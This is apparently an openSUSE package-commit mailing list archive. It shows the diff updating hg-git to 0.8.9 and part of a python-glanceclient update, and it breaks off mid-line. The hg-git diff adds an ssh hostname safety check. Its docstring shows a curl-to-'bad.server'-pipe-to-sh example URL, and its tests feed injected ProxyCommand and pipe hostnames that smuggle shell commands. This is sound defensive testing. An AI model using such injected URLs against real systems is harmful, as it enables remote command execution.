hg-git-0.8.6.tar.gz hg-git-0.8.6.tar.gz.asc New: ---- hg-git-0.8.9.tar.gz hg-git-0.8.9.tar.gz.asc hg-git.patch ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ hg-git.spec ++++++ --- /var/tmp/diff_new_pack.hsPsZ7/_old 2017-08-28 15:33:03.122747252 +0200 +++ /var/tmp/diff_new_pack.hsPsZ7/_new 2017-08-28 15:33:03.126746689 +0200 @@ -17,15 +17,16 @@ Name: hg-git -Version: 0.8.6 +Version: 0.8.9 Release: 0 Summary: Mercurial Plugin for Communicating with Git Servers License: GPL-2.0+ Group: Development/Tools/Version Control Url: https://hg-git.github.io -Source0: https://pypi.python.org/packages/c7/15/ec7e1bb6356cb140d5c1c2a2884fcadfd51c… -Source1: https://pypi.python.org/packages/c7/15/ec7e1bb6356cb140d5c1c2a2884fcadfd51c… +Source0: https://pypi.python.org/packages/05/03/3ce3cfb6b2130d689ee8adf8ae20bf40925a… +Source1: https://pypi.python.org/packages/05/03/3ce3cfb6b2130d689ee8adf8ae20bf40925a… Source2: %{name}.keyring +Patch0: hg-git.patch BuildRequires: git-daemon BuildRequires: mercurial BuildRequires: netcat-openbsd @@ -49,6 +50,7 @@ %prep %setup -q +%patch0 -p1 %build python setup.py build ++++++ hg-git-0.8.6.tar.gz -> hg-git-0.8.9.tar.gz ++++++ diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/hg-git-0.8.6/PKG-INFO new/hg-git-0.8.9/PKG-INFO --- old/hg-git-0.8.6/PKG-INFO 2017-04-19 06:43:10.000000000 +0200 +++ new/hg-git-0.8.9/PKG-INFO 2017-08-10 21:39:38.000000000 +0200 @@ -1,6 +1,6 @@ Metadata-Version: 1.0 Name: hg-git -Version: 0.8.6 +Version: 0.8.9 Summary: push to and pull from a Git repository using Mercurial Home-page: http://hg-git.github.com/ Author: Augie Fackler diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/hg-git-0.8.6/hg_git.egg-info/PKG-INFO new/hg-git-0.8.9/hg_git.egg-info/PKG-INFO --- old/hg-git-0.8.6/hg_git.egg-info/PKG-INFO 2017-04-19 06:43:09.000000000 +0200 +++ new/hg-git-0.8.9/hg_git.egg-info/PKG-INFO 2017-08-10 21:39:38.000000000 +0200 @@ -1,6 +1,6 @@ Metadata-Version: 1.0 Name: hg-git -Version: 0.8.6 +Version: 0.8.9 Summary: push to and pull from a Git repository using Mercurial Home-page: http://hg-git.github.com/ Author: Augie Fackler diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/hg-git-0.8.6/hggit/__init__.py new/hg-git-0.8.9/hggit/__init__.py --- old/hg-git-0.8.6/hggit/__init__.py 2017-04-19 06:41:08.000000000 +0200 +++ new/hg-git-0.8.9/hggit/__init__.py 2017-08-10 21:39:06.000000000 +0200 @@ -77,14 +77,18 @@ 'collections', ]) -__version__ = '0.8.6' +__version__ = '0.8.9' testedwith = ('2.8.2 2.9.2 3.0.2 3.1.2 3.2.4 3.3.3 3.4.2 3.5.2 3.6.3 3.7.3' - '3.8.4 3.9.2 4.0.2 4.1.3 4.2-rc') + '3.8.4 3.9.2 4.0.2 4.1.3 4.2.3 4.3') buglink = 'https://bitbucket.org/durin42/hg-git/issues' cmdtable = {} -command = cmdutil.command(cmdtable) +try: + from mercurial import registrar + command = registrar.command(cmdtable) +except (ImportError, AttributeError): + command = cmdutil.command(cmdtable) # support for `hg clone git://github.com/defunkt/facebox.git` # also hg clone git+ssh://git@github.com/schacon/simplegit.git @@ -210,7 +214,7 @@ if (getattr(dirstate, 'rootcache', False) and (not ignoremod or getattr(ignore, 'readpats', False)) and - hgutil.safehasattr(repo, 'join') and + hgutil.safehasattr(repo, 'vfs') and os.path.exists(repo.vfs.join('git'))): # only install our dirstate wrapper if it has a hope of working import gitdirstate @@ -266,8 +270,12 @@ gitsha, hgsha = line.strip().split(' ', 1) if hgsha in repo: new_map.append('%s %s\n' % (gitsha, hgsha)) - f = repo.vfs(GitHandler.map_file, 'wb') - map(f.write, new_map) + wlock = repo.wlock() + try: + f = repo.vfs(GitHandler.map_file, 'wb') + map(f.write, new_map) + finally: + wlock.release() ui.status(_('git commit map cleaned\n')) def findcommonoutgoing(orig, repo, other, *args, **kwargs): diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/hg-git-0.8.6/hggit/compat.py new/hg-git-0.8.9/hggit/compat.py --- old/hg-git-0.8.6/hggit/compat.py 2017-03-12 00:49:00.000000000 +0100 +++ new/hg-git-0.8.9/hggit/compat.py 2017-08-10 20:28:43.000000000 +0200 @@ -28,11 +28,11 @@ s = s.replace(c, '') return s -def passwordmgr(ui, passwddb): +def passwordmgr(ui): try: - return url.passwordmgr(ui, - hgutil.urlreq.httppasswordmgrwithdefaultrealm()) - except TypeError: + realm = hgutil.urlreq.httppasswordmgrwithdefaultrealm() + return url.passwordmgr(ui, realm) + except (TypeError, AttributeError): # compat with hg < 3.9 return url.passwordmgr(ui) diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/hg-git-0.8.6/hggit/git_handler.py new/hg-git-0.8.9/hggit/git_handler.py --- old/hg-git-0.8.6/hggit/git_handler.py 2017-04-19 05:21:45.000000000 +0200 +++ new/hg-git-0.8.9/hggit/git_handler.py 2017-08-10 20:28:43.000000000 +0200 @@ -106,7 +106,7 @@ self.ui = ui if ui.configbool('git', 'intree'): - self.gitdir = self.repo.wjoin('.git') + self.gitdir = self.repo.wvfs.join('.git') else: self.gitdir = self.repo.vfs.join('git') @@ -159,7 +159,7 @@ def init_author_file(self): self.author_map = {} if self.ui.config('git', 'authors'): - with open(self.repo.wjoin(self.ui.config('git', 'authors'))) as f: + with open(self.repo.wvfs.join(self.ui.config('git', 'authors'))) as f: for line in f: line = line.strip() if not line or line.startswith('#'): @@ -197,16 +197,20 @@ self._map_hg_real = map_hg_real def save_map(self, map_file): - file = self.repo.vfs(map_file, 'w+', atomictemp=True) - map_hg = self._map_hg - buf = cStringIO.StringIO() - bwrite = buf.write - for hgsha, gitsha in map_hg.iteritems(): - bwrite("%s %s\n" % (gitsha, hgsha)) - file.write(buf.getvalue()) - buf.close() - # If this complains, atomictempfile no longer has close - file.close() + wlock = self.repo.wlock() + try: + file = self.repo.vfs(map_file, 'w+', atomictemp=True) + map_hg = self._map_hg + buf = cStringIO.StringIO() + bwrite = buf.write + for hgsha, gitsha in map_hg.iteritems(): + bwrite("%s %s\n" % (gitsha, hgsha)) + file.write(buf.getvalue()) + buf.close() + # If this complains, atomictempfile no longer has close + file.close() + finally: + wlock.release() def load_tags(self): self.tags = {} @@ -299,8 +303,8 @@ # make sure the bookmark exists; at the point the remote # branches has already been set up suffix = self.branch_bookmark_suffix or '' - self.repo._bookmarks[rhead + suffix] = rnode - util.recordbookmarks(self.repo, self.repo._bookmarks) + changes = [(rhead + suffix, rnode)] + util.updatebookmarks(self.repo, changes) bms = [rhead + suffix] if bms: @@ -612,8 +616,11 @@ TESTS: + >>> from collections import namedtuple >>> from mercurial.ui import ui - >>> g = GitHandler('', ui()).get_valid_git_username_email + >>> mockrepo = namedtuple('localrepo', ['vfs']) + >>> mockrepo.vfs = '' + >>> g = GitHandler(mockrepo, ui()).get_valid_git_username_email >>> g('John Doe') 'John Doe' >>> g('john(a)doe.com') @@ -981,6 +988,8 @@ # if named branch, add to extra if hg_branch: extra['branch'] = hg_branch + else: + extra['branch'] = 'default' # if committer is different than author, add it to extra if commit.author != commit.committer \ @@ -1369,6 +1378,7 @@ if ref.startswith('refs/heads/')]) suffix = self.branch_bookmark_suffix or '' + changes = [] for head, sha in heads.iteritems(): # refs contains all the refs in the server, not just # the ones we are pulling @@ -1378,15 +1388,15 @@ hgsha = bin(hgsha) if head not in bms: # new branch - bms[head + suffix] = hgsha + changes.append((head + suffix, hgsha)) else: bm = self.repo[bms[head]] if bm.ancestor(self.repo[hgsha]) == bm: # fast forward - bms[head + suffix] = hgsha + changes.append((head + suffix, hgsha)) if heads: - util.recordbookmarks(self.repo, bms) + util.updatebookmarks(self.repo, changes) except AttributeError: self.ui.warn(_('creating bookmarks failed, do you have' @@ -1635,9 +1645,12 @@ Tests: + >>> from collections import namedtuple >>> from dulwich.client import HttpGitClient, SSHGitClient >>> from mercurial.ui import ui - >>> g = GitHandler('', ui()) + >>> mockrepo = namedtuple('localrepo', ['vfs']) + >>> mockrepo.vfs = '' + >>> g = GitHandler(mockrepo, ui()) >>> client, url = g.get_transport_and_path('http://fqdn.com/test.git') >>> print isinstance(client, HttpGitClient) True @@ -1662,10 +1675,11 @@ git_match = RE_GIT_URI.match(uri) if git_match: res = git_match.groupdict() + host, port, sepr = res['host'], res['port'], res['sepr'] transport = client.TCPGitClient if 'ssh' in res['scheme']: + util.checksafessh(host) transport = client.SSHGitClient - host, port, sepr = res['host'], res['port'], res['sepr'] path = res['path'] if sepr == '/' and not path.startswith('~'): path = '/' + path @@ -1682,8 +1696,7 @@ uri = uri[4:] if uri.startswith('http://') or uri.startswith('https://'): - realm = hgutil.urlreq.httppasswordmgrwithdefaultrealm() - pmgr = compat.passwordmgr(self.ui, realm) + pmgr = compat.passwordmgr(self.ui) auth = urllib2.HTTPBasicAuthHandler(pmgr) opener = urllib2.build_opener(auth) diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/hg-git-0.8.6/hggit/gitdirstate.py new/hg-git-0.8.9/hggit/gitdirstate.py --- old/hg-git-0.8.6/hggit/gitdirstate.py 2016-02-01 16:22:15.000000000 +0100 +++ new/hg-git-0.8.9/hggit/gitdirstate.py 2017-08-10 21:39:06.000000000 +0200 @@ -6,7 +6,6 @@ from mercurial import ( dirstate, match as matchmod, - osutil, scmutil, util, ) @@ -76,10 +75,10 @@ pats = [] if ignoremod: pats = ignore.readpats(root, files, warn) - for f, patlist in pats: - allpats.extend(patlist) else: - allpats.extend(['include:%s' % f for f in files]) + pats = [(f, ['include:%s' % f]) for f in files] + for f, patlist in pats: + allpats.extend(patlist) if extrapatterns: allpats.extend(extrapatterns) @@ -92,6 +91,10 @@ try: matchmod.match(root, '', [], patlist) except util.Abort, inst: + if not ignoremod: + # in this case, patlist is ['include: FILE'], and + # inst[0] should already include FILE + raise raise util.Abort('%s: %s' % (f, inst[0])) if extrapatterns: try: @@ -156,7 +159,12 @@ matchalways = match.always() matchtdir = match.traversedir dmap = self._map - listdir = osutil.listdir + # osutil moved in hg 4.3, but util re-exports listdir + try: + listdir = util.listdir + except AttributeError: + from mercurial import osutil + listdir = osutil.listdir lstat = os.lstat dirkind = stat.S_IFDIR regkind = stat.S_IFREG diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/hg-git-0.8.6/hggit/overlay.py new/hg-git-0.8.9/hggit/overlay.py --- old/hg-git-0.8.6/hggit/overlay.py 2017-04-19 05:13:41.000000000 +0200 +++ new/hg-git-0.8.9/hggit/overlay.py 2017-08-05 23:52:04.000000000 +0200 @@ -198,6 +198,9 @@ blob = self.repo.handler.git.get_object(_maybehex(self.fileid)) return blob.data + def isbinary(self): + return util.binary(self.data()) + class overlaychangectx(context.changectx): def __init__(self, repo, sha): self.repo = repo diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/hg-git-0.8.6/hggit/util.py new/hg-git-0.8.9/hggit/util.py --- old/hg-git-0.8.6/hggit/util.py 2016-02-01 16:22:15.000000000 +0100 +++ new/hg-git-0.8.9/hggit/util.py 2017-08-10 21:38:09.000000000 +0200 @@ -1,6 +1,7 @@ """Compatibility functions for old Mercurial versions and other utility functions.""" import re +import urllib try: from collections import OrderedDict @@ -8,7 +9,10 @@ from ordereddict import OrderedDict from dulwich import errors +from mercurial.i18n import _ from mercurial import ( + encoding, + error, lock as lockmod, util as hgutil, ) @@ -94,18 +98,43 @@ return True return False -def recordbookmarks(repo, bms, name='git_handler'): +def updatebookmarks(repo, changes, name='git_handler'): """abstract writing bookmarks for backwards compatibility""" + bms = repo._bookmarks tr = lock = wlock = None try: wlock = repo.wlock() lock = repo.lock() tr = repo.transaction(name) - if hgutil.safehasattr(bms, 'recordchange'): - # recordchange was added in mercurial 3.2 - bms.recordchange(tr) + if hgutil.safehasattr(bms, 'applychanges'): + # applychanges was added in mercurial 4.3 + bms.applychanges(repo, tr, changes) else: - bms.write() + for name, node in changes: + if node is None: + del bms[name] + else: + bms[name] = node + if hgutil.safehasattr(bms, 'recordchange'): + # recordchange was added in mercurial 3.2 + bms.recordchange(tr) + else: + bms.write() tr.close() finally: lockmod.release(tr, lock, wlock) + +def checksafessh(host): + """check if a hostname is a potentially unsafe ssh exploit (SEC) + + This is a sanity check for ssh urls. ssh will parse the first item as + an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. + Let's prevent these potentially exploited urls entirely and warn the + user. + + Raises an error.Abort when the url is unsafe. + """ + host = urllib.unquote(host) + if host.startswith('-'): + raise error.Abort(_('potentially unsafe hostname: %r') % + (host,)) diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/hg-git-0.8.6/setup.cfg new/hg-git-0.8.9/setup.cfg --- old/hg-git-0.8.6/setup.cfg 2017-04-19 06:43:10.000000000 +0200 +++ new/hg-git-0.8.9/setup.cfg 2017-08-10 21:39:38.000000000 +0200 @@ -1,4 +1,5 @@ [egg_info] tag_build = tag_date = 0 +tag_svn_revision = 0 diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/hg-git-0.8.6/tests/commitextra.py new/hg-git-0.8.9/tests/commitextra.py --- old/hg-git-0.8.6/tests/commitextra.py 2014-12-19 20:24:06.000000000 +0100 +++ new/hg-git-0.8.9/tests/commitextra.py 2017-08-05 23:52:04.000000000 +0200 @@ -3,7 +3,11 @@ from mercurial import cmdutil, commands, scmutil cmdtable = {} -command = cmdutil.command(cmdtable) +try: + from mercurial import registrar + command = registrar.command(cmdtable) +except (ImportError, AttributeError): + command = cmdutil.command(cmdtable) testedwith = 'internal' @command('commitextra', diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/hg-git-0.8.6/tests/test-git-clone.t new/hg-git-0.8.9/tests/test-git-clone.t --- old/hg-git-0.8.6/tests/test-git-clone.t 2015-04-21 17:02:51.000000000 +0200 +++ new/hg-git-0.8.9/tests/test-git-clone.t 2017-08-10 21:38:15.000000000 +0200 @@ -36,3 +36,23 @@ * master 1:7fe02317c63d $ hg -R hgrepo gverify verifying rev 7fe02317c63d against git commit 9497a4ee62e16ee641860d7677cdb2589ea15554 + +test for ssh vulnerability + + $ cat >> $HGRCPATH << EOF + > [ui] + > ssh = ssh -o ConnectTimeout=1 + > EOF + + $ hg clone 'git+ssh://-oProxyCommand=rm${IFS}nonexistent/path' 2>&1 >/dev/null + abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent' + [255] + $ hg clone 'git+ssh://%2DoProxyCommand=rm${IFS}nonexistent/path' 2>&1 >/dev/null + abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent' + [255] + $ hg clone 'git+ssh://fakehost|rm${IFS}nonexistent/path' 2>&1 >/dev/null | grep -v ^devel-warn: + ssh: connect to host fakehost%7crm%24%7bifs%7dnonexistent port 22: * (glob) + abort: git remote error: The remote server unexpectedly closed the connection. + $ hg clone 'git+ssh://fakehost%7Crm${IFS}nonexistent/path' 2>&1 >/dev/null | grep -v ^devel-warn: + ssh: connect to host fakehost%7crm%24%7bifs%7dnonexistent port 22: * (glob) + abort: git remote error: The remote server unexpectedly closed the connection. diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/hg-git-0.8.6/tests/test-gitignore.t new/hg-git-0.8.9/tests/test-gitignore.t --- old/hg-git-0.8.6/tests/test-gitignore.t 2016-09-03 03:42:01.000000000 +0200 +++ new/hg-git-0.8.9/tests/test-gitignore.t 2017-08-10 21:39:06.000000000 +0200 @@ -142,3 +142,22 @@ ? dir/bar ? foo ? foobar + +show pattern error in hgignore file as expected (issue197) +---------------------------------------------------------- + + $ cat > $TESTTMP/invalidhgignore <<EOF + > # invalid syntax in regexp + > foo( + > EOF + $ hg status --config ui.ignore=$TESTTMP/invalidhgignore + abort: $TESTTMP/invalidhgignore: invalid pattern (relre): foo( + [255] + + $ cat > .hgignore <<EOF + > # invalid syntax in regexp + > foo( + > EOF + $ hg status + abort: $TESTTMP/.hgignore: invalid pattern (relre): foo( + [255] diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/hg-git-0.8.6/tests/test-http.t new/hg-git-0.8.9/tests/test-http.t --- old/hg-git-0.8.6/tests/test-http.t 2015-07-31 20:22:49.000000000 +0200 +++ new/hg-git-0.8.9/tests/test-http.t 2017-08-05 23:52:04.000000000 +0200 @@ -19,11 +19,11 @@ #if windows $ hg serve -p $HGPORT1 2>&1 - abort: cannot start server at ':$HGPORT1': * (glob) + abort: cannot start server at '*:$HGPORT1': * (glob) [255] #else $ hg serve -p $HGPORT1 2>&1 - abort: cannot start server at ':$HGPORT1': Address already in use + abort: cannot start server at '*:$HGPORT1': Address already in use (glob) [255] #endif $ cd .. diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/hg-git-0.8.6/tests/test-pull.t new/hg-git-0.8.9/tests/test-pull.t --- old/hg-git-0.8.6/tests/test-pull.t 2015-10-21 16:48:11.000000000 +0200 +++ new/hg-git-0.8.9/tests/test-pull.t 2017-08-10 21:38:18.000000000 +0200 @@ -349,3 +349,25 @@ date: Mon Jan 01 00:00:12 2007 +0000 summary: add delta + +test for ssh vulnerability + + $ cat >> $HGRCPATH << EOF + > [ui] + > ssh = ssh -o ConnectTimeout=1 + > EOF + + $ hg init a + $ cd a + $ hg pull 'git+ssh://-oProxyCommand=rm${IFS}nonexistent/path' 2>&1 >/dev/null + abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent' + [255] + $ hg pull 'git+ssh://-oProxyCommand=rm%20nonexistent/path' 2>&1 >/dev/null + abort: potentially unsafe hostname: '-oProxyCommand=rm nonexistent' + [255] + $ hg pull 'git+ssh://fakehost|shellcommand/path' 2>&1 >/dev/null | grep -v ^devel-warn: + ssh: connect to host fakehost%7cshellcommand port 22: * (glob) + abort: git remote error: The remote server unexpectedly closed the connection. + $ hg pull 'git+ssh://fakehost%7Cshellcommand/path' 2>&1 >/dev/null | grep -v ^devel-warn: + ssh: connect to host fakehost%7cshellcommand port 22: * (glob) + abort: git remote error: The remote server unexpectedly closed the connection. diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/hg-git-0.8.6/tests/test-push.t new/hg-git-0.8.9/tests/test-push.t --- old/hg-git-0.8.6/tests/test-push.t 2017-03-12 00:49:38.000000000 +0100 +++ new/hg-git-0.8.9/tests/test-push.t 2017-08-10 21:38:27.000000000 +0200 @@ -197,3 +197,22 @@ Only one bookmark 'master' should be created $ hg bookmarks * master 0:8aded40be5af + +test for ssh vulnerability + + $ cat >> $HGRCPATH << EOF + > [ui] + > ssh = ssh -o ConnectTimeout=1 + > EOF + $ hg push 'git+ssh://-oProxyCommand=rm${IFS}nonexistent/path' 2>&1 >/dev/null + abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent' + [255] + $ hg push 'git+ssh://-oProxyCommand=rm%20nonexistent/path' 2>&1 >/dev/null + abort: potentially unsafe hostname: '-oProxyCommand=rm nonexistent' + [255] + $ hg push 'git+ssh://fakehost|rm%20nonexistent/path' 2>&1 >/dev/null | grep -v ^devel-warn: + ssh: connect to host fakehost%7crm%20nonexistent port 22: * (glob) + abort: git remote error: The remote server unexpectedly closed the connection. + $ hg push 'git+ssh://fakehost%7Crm%20nonexistent/path' 2>&1 >/dev/null | grep -v ^devel-warn: + ssh: connect to host fakehost%7crm%20nonexistent port 22: * (glob) + abort: git remote error: The remote server unexpectedly closed the connection. ++++++ hg-git.patch ++++++ --- a/tests/test-git-clone.t +++ b/tests/test-git-clone.t @@ -50,9 +50,3 @@ test for ssh vulnerability $ hg clone 'git+ssh://%2DoProxyCommand=rm${IFS}nonexistent/path' 2>&1 >/dev/null abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent' [255] - $ hg clone 'git+ssh://fakehost|rm${IFS}nonexistent/path' 2>&1 >/dev/null | grep -v ^devel-warn: - ssh: connect to host fakehost%7crm%24%7bifs%7dnonexistent port 22: * (glob) - abort: git remote error: The remote server unexpectedly closed the connection. - $ hg clone 'git+ssh://fakehost%7Crm${IFS}nonexistent/path' 2>&1 >/dev/null | grep -v ^devel-warn: - ssh: connect to host fakehost%7crm%24%7bifs%7dnonexistent port 22: * (glob) - abort: git remote error: The remote server unexpectedly closed the connection. --- a/tests/test-pull.t +++ b/tests/test-pull.t @@ -365,9 +365,3 @@ test for ssh vulnerability $ hg pull 'git+ssh://-oProxyCommand=rm%20nonexistent/path' 2>&1 >/dev/null abort: potentially unsafe hostname: '-oProxyCommand=rm nonexistent' [255] - $ hg pull 'git+ssh://fakehost|shellcommand/path' 2>&1 >/dev/null | grep -v ^devel-warn: - ssh: connect to host fakehost%7cshellcommand port 22: * (glob) - abort: git remote error: The remote server unexpectedly closed the connection. - $ hg pull 'git+ssh://fakehost%7Cshellcommand/path' 2>&1 >/dev/null | grep -v ^devel-warn: - ssh: connect to host fakehost%7cshellcommand port 22: * (glob) - abort: git remote error: The remote server unexpectedly closed the connection. --- a/tests/test-push.t +++ b/tests/test-push.t @@ -210,9 +210,3 @@ test for ssh vulnerability $ hg push 'git+ssh://-oProxyCommand=rm%20nonexistent/path' 2>&1 >/dev/null abort: potentially unsafe hostname: '-oProxyCommand=rm nonexistent' [255] - $ hg push 'git+ssh://fakehost|rm%20nonexistent/path' 2>&1 >/dev/null | grep -v ^devel-warn: - ssh: connect to host fakehost%7crm%20nonexistent port 22: * (glob) - abort: git remote error: The remote server unexpectedly closed the connection. - $ hg push 'git+ssh://fakehost%7Crm%20nonexistent/path' 2>&1 >/dev/null | grep -v ^devel-warn: - ssh: connect to host fakehost%7crm%20nonexistent port 22: * (glob) - abort: git remote error: The remote server unexpectedly closed the connection. --- a/tests/test-renames.t +++ b/tests/test-renames.t @@ -46,7 +46,7 @@ Add a submodule (gitlink) and move it to $ sed -e 's/path = gitsubmodule/path = gitsubmodule2/' .gitmodules > .gitmodules-new $ mv .gitmodules-new .gitmodules $ mv gitsubmodule gitsubmodule2 - $ git add .gitmodules gitsubmodule2 + $ git add --no-warn-embedded-repo .gitmodules gitsubmodule2 $ git rm --cached gitsubmodule rm 'gitsubmodule' $ fn_git_commit -m 'move submodule'

1 0

commit python-glanceclient for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package python-glanceclient for openSUSE:Factory checked in at 2017-08-28 15:32:53 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/python-glanceclient (Old) and /work/SRC/openSUSE:Factory/.python-glanceclient.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "python-glanceclient" Mon Aug 28 15:32:53 2017 rev:23 rq:518807 version:2.8.0 Changes: -------- --- /work/SRC/openSUSE:Factory/python-glanceclient/python-glanceclient.changes 2016-09-30 15:30:11.000000000 +0200 +++ /work/SRC/openSUSE:Factory/.python-glanceclient.new/python-glanceclient.changes 2017-08-28 15:32:54.875906687 +0200 @@ -1,0 +2,83 @@ +Fri Aug 25 08:18:52 UTC 2017 - cloud-devel(a)suse.de + +- update to version 2.8.0 + - help text for container_format, disk_format + - Removed the --no-ssl-compression parameter which is deprecated + - add explicit dependency on pyopenssl + - Remove team:diverse-affiliation from tags + - Validate input args before trying image download + - Fix 'UnicodeEncodeError' for unicode values in url + - Add image import features to client + - Update glanceclient version ref + - Make --profile load from environment variables + - use openstackdocstheme html context + - Replace six.iteritems() with .items() + - Update and optimize documentation links + - Add missing docstring + - Replace assertTrue(isinstance()) with assertIsInstance() + - move existing content into the new standard structure + - Fix man page build + - turn on warning-is-error in sphinx build + - doc: Remove cruft from conf.py + - Add release note for Pike + - gitignore: Ignore auto-generated docs + - update the doc URLs in the readme + - Remove log translations + - move old release notes into the releasenotes doc tree + - Updated from global requirements + - import content from cli-reference in openstack-manuals + - Enable code coverage report in console output + - switch to openstackdocstheme + - Add documentation for image import commands + - allow unhandled exceptions to cause test errors + +------------------------------------------------------------------- +Mon Aug 7 09:01:26 UTC 2017 - cloud-devel(a)suse.de + +- update to version 2.7.0 + - Downloading image with --progress fails + - Replace functions 'dict.get' and 'del' with 'dict.pop' + - Remove references to Python 3.4 + - Replace dict.iteritems() with dict.items() + - Downloading image with --progress fails for python3 + - v2: Content-Type: application/octet-stream header always added + - Allow global_request_id in Client constructor + - Update test requirement + - Explicitly set 'builders' option + - Convert IOError from requests + - Update reno for stable/ocata + - x-openstack-request-id logged twice in logs + - Updated from global requirements + - Use Sphinx 1.5 warning-is-error + +------------------------------------------------------------------- +Fri Jun 23 15:57:12 UTC 2017 - tbechtold(a)suse.com + +- Explicit build html and man page docs + +------------------------------------------------------------------- +Mon Feb 13 11:29:11 UTC 2017 - cloud-devel(a)suse.de + +- update to version 2.6.0: + - Replace 'assertTrue(a not in b)' with 'assertNotIn(a, b)' + - Update reno for stable/newton + - Add ploop in disk_format + - Add request id to returned objects + - Improve tools/tox_install.sh + - Add Apache 2.0 license to source file + - Add vhdx in disk_format + - Move old oslo-incubator code out of openstack/common + - Add alt text for badges + - Show team and repo badges on README + - Use import_versioned_module from oslo.utils + - Remove unused _i18n.py shim. + - switch from keystoneclient to keystoneauth + - standardize release note page ordering + - Enable release notes translation + - Handle formatting of subcommand name in error output + - Use constraints everywhere + - Add support for community images + - Updated from global requirements + - Revert "Add last_request_id member to HTTPClient and SessionClient" + +------------------------------------------------------------------- Old: ---- python-glanceclient-2.5.0.tar.gz New: ---- python-glanceclient-2.8.0.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ python-glanceclient.spec ++++++ --- /var/tmp/diff_new_pack.elANvQ/_old 2017-08-28 15:32:56.831631729 +0200 +++ /var/tmp/diff_new_pack.elANvQ/_new 2017-08-28 15:32:56.835631167 +0200 @@ -1,7 +1,7 @@ # # spec file for package python-glanceclient # -# Copyright (c) 2016 SUSE LINUX GmbH, Nuernberg, Germany. +# Copyright (c) 2017 SUSE LINUX GmbH, Nuernberg, Germany. # # All modifications and additions to the file contributed by third parties # remain the property of their copyright owners, unless otherwise agreed @@ -18,37 +18,40 @@ %global sname python-glanceclient Name: python-glanceclient -Version: 2.5.0 +Version: 2.8.0 Release: 0 Summary: Python API and CLI for OpenStack Glance License: Apache-2.0 -Group: Development/Languages +Group: Development/Languages/Python Url: https://launchpad.net/%{sname} Source0: https://pypi.io/packages/source/p/%{sname}/%{sname}-%{version}.tar.gz BuildRequires: openstack-macros -BuildRequires: python-PrettyTable >= 0.7 +BuildRequires: python-PrettyTable >= 0.7.1 BuildRequires: python-devel BuildRequires: python-fixtures >= 3.0.0 -BuildRequires: python-keystoneclient >= 2.0.0 +BuildRequires: python-keystoneclient >= 3.8.0 BuildRequires: python-mock >= 2.0 -BuildRequires: python-os-client-config >= 1.13.1 -BuildRequires: python-oslo.utils >= 3.16.0 -BuildRequires: python-pbr >= 1.6 +BuildRequires: python-os-client-config >= 1.27.0 +BuildRequires: python-oslo.utils >= 3.20.0 +BuildRequires: python-pbr >= 2.0.0 +BuildRequires: python-pyOpenSSL >= 0.14 BuildRequires: python-reno >= 1.8.0 -BuildRequires: python-requests-mock >= 1.0 +BuildRequires: python-requests-mock >= 1.1 BuildRequires: python-testrepository >= 0.0.18 BuildRequires: python-testscenarios >= 0.4 BuildRequires: python-testtools >= 1.4.0 BuildRequires: python-warlock >= 1.0.1 Requires: python-Babel >= 2.3.4 -Requires: python-PrettyTable >= 0.7 -Requires: python-keystoneclient >= 2.0.0 +Requires: python-PrettyTable >= 0.7.1 +Requires: python-keystoneauth1 >= 2.21.0 Requires: python-oslo.i18n >= 2.1.0 -Requires: python-oslo.utils >= 3.16.0 -Requires: python-pbr >= 1.6 -Requires: python-requests >= 2.10.0 +Requires: python-oslo.utils >= 3.20.0 +Requires: python-pbr >= 2.0.0 +Requires: python-pyOpenSSL >= 0.14 +Requires: python-requests >= 2.14.2 Requires: python-six >= 1.9.0 Requires: python-warlock >= 1.0.1 +Requires: python-wrapt >= 1.7.0 BuildArch: noarch %description @@ -57,10 +60,10 @@ 100% of the OpenStack Glance API. %package doc -Summary: Documentation for OpenStack Nova API Client +Summary: Documentation for OpenStack Glance API Client Group: Documentation BuildRequires: python-Sphinx -BuildRequires: python-oslosphinx >= 2.5.0 +BuildRequires: python-openstackdocstheme >= 1.11.0 %description doc This is a client for the OpenStack Glance API. There's a Python API (the @@ -69,13 +72,15 @@ This package contains auto-generated documentation. %prep -%setup -q -n %{sname}-%{version} +%autosetup -n %{sname}-%{version} +%py_req_cleanup +sed -i 's/^warning-is-error.*/warning-is-error = 0/g' setup.cfg %build %py2_build # generate html docs -%{__python2} setup.py build_sphinx +%{__python2} setup.py build_sphinx --builder=html,man # remove the sphinx-build leftovers rm -rf 